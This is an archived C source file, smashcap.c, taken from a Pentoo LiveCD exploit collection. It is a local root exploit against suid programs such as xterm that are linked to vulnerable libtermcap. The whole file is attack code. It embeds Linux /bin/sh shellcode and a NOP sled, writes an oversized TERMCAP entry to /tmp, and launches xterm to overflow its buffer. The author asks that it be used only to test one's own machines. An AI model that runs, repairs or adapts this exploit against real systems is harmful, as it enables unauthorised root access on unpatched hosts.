home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / smashcap.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  106 lines

  1. /* Local exploit for suid root programs linked to libtermcap < 2.0.8-15 
  2.  *
  3.  * tested with xterm and nxterm on RedHat 5.2 and 4.2
  4.  *
  5.  * sk8@lucid-solutions.com
  6.  * http://www.lucid-solutions.com
  7.  *
  8.  * Usage:
  9.  * ./smashcap          -default is buffer size of 4210 and offset of 300
  10.  *             and seems to work on RH 5.2
  11.  *
  12.  * Adjust offsets (somewhere between 230 - 1140) if necessary
  13.  *
  14.  * ./smashcap <offset>     -buffer size defaults to 4210
  15.  * ./smashcap <offset> <buffersize>
  16.  *
  17.  *
  18.  * In order to stop script kids/opportunists, one MINOR change must be
  19.  * made in order for this to work.  
  20.  *
  21.  * Use only to test your machines to show you that you must patch libtermcap.
  22.  * Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
  23.  *
  24.  *                        - sk8 of LS
  25.  *
  26.  */
  27.  
  28. #include <stdlib.h>
  29. #include <unistd.h>
  30. #include <fcntl.h>
  31.  
  32. #define filename "/tmp/lstermcap"
  33. #define entry1   "xterm|"
  34. #define DEFAULT_BUFSIZE 4210
  35.  
  36. char shellcode[] =
  37.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  38.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  39.   "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Linux shellcode */
  40.  
  41. long get_sp(void)
  42. {
  43.    __asm__("movl %esp, %eax\n");
  44. }
  45.  
  46. int main(int argc, char *argv[]) {
  47.    int bufsize, offset, i, fd;
  48.    long *bufptr;
  49.    char *ptr, *buffer, *tempbuf;
  50.  
  51.    setenv("TERMCAP", "/tmp/lstermcap", 1);
  52.  
  53.  
  54.    bufsize=DEFAULT_BUFSIZE;
  55.  
  56.    if (argc > 2) bufsize=atoi(argv[2]);
  57.    if (argc > 1) offset=atoi(argv[1]);
  58.    else offset=300;
  59.   
  60.  
  61.    printf("bufsize: %i\noffset: %i\n", bufsize,offset);
  62.  
  63.    if(!(buffer = malloc(bufsize))) {
  64.       printf("can't allocate enough memory\n");
  65.       exit(0);
  66.    }
  67.   if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
  68.       printf("can't allocate enough memory\n");
  69.       exit(0);
  70.    }
  71.  
  72.    printf("get_sp(): 0x%x\n", get_sp());
  73.    printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );
  74.  
  75.    ptr=buffer;
  76.    bufptr = (long *)(buffer+2); /* align */
  77.  
  78.    for (i = 0; i < bufsize; i += 4)
  79.           *(bufptr++) = (get_sp()-offset);
  80.  
  81.        for (i = 0; i < (bufsize/2); i++) 
  82.               buffer[i] = 0x90;
  83.  
  84.     ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
  85.       for (i = 0; i < strlen(shellcode); i++)
  86.               *(ptr++) = shellcode[i]; //shellcode
  87.  
  88.  
  89.       ptr=ptr+24;
  90.  
  91.     /* now insert the characters : and \ into the termcap - these are vital */
  92.       *(ptr++)=0x3a;  
  93.       *(ptr++)=0x5c;  
  94.  
  95.  
  96.        snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
  97.        fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
  98.        write (fd, tempbuf, strlen(tempbuf));
  99.        close(fd);
  100.     printf("made termcap\n");
  101.  
  102.     execl("/usr/X11R6/bin/xterm","xterm", 0);
  103.     
  104. }
  105.  
  106.